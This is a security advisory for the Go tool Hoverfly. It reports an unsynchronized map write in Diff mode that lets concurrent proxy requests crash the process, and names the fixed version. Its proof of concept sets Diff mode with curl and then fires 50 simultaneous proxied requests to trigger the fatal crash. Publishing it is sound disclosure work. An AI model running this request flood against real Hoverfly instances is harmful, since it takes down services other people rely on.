GHSA-qrh4-p6v4-mrfg
Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/SpectoLabs/hoverfly | < 1.12.8 | 1.12.8 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary:
When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.
### Details:
**1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):**
```go
func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
if len(diffReport.DiffEntries) > 0 {
diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ
hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
}
}
```
**2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):**
Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.
**3. Go's runtime detects concurrent map access and terminates the process:**
Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`.
**4. No mutex protection exists on `responsesDiff`:**
The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access.
### Environment:
- **Hoverfly version:** v1.12.7
- **Operating System:** macOS Darwin 25.4.0
- **Go version:** 1.26.2
- **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`)
### POC:
**Step 1: Start Hoverfly and set Diff mode**
```bash
./hoverfly &
sleep 2
# Set diff mode
curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
-H "Content-Type: application/json" \
-d '{"mode": "diff"}'
# Load a simulation for diff comparison
curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "expected"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
```
**Step 2: Send concurrent requests to trigger the race**
```bash
# Send 50 concurrent requests, race condition triggers within seconds
for i in $(seq 1 50); do
curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait
```
**Step 3: Observe the crash**
```bash
# Check if process is still running
pgrep -f hoverfly
```
**crash output on Hoverfly v1.12.7:**
```
fatal error: concurrent map read and map write
goroutine 892 [running]:
github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
/core/hoverfly_service.go:419
github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)
```
The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.
### Impact:
- **Full denial of service:** The process terminates immediately and cannot be recovered without a restart
- **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests
- **No admin API access required:** Only proxy port access is needed to trigger the crash
- **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed
- **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable
References
External links from the advisory. They lead to third-party sites.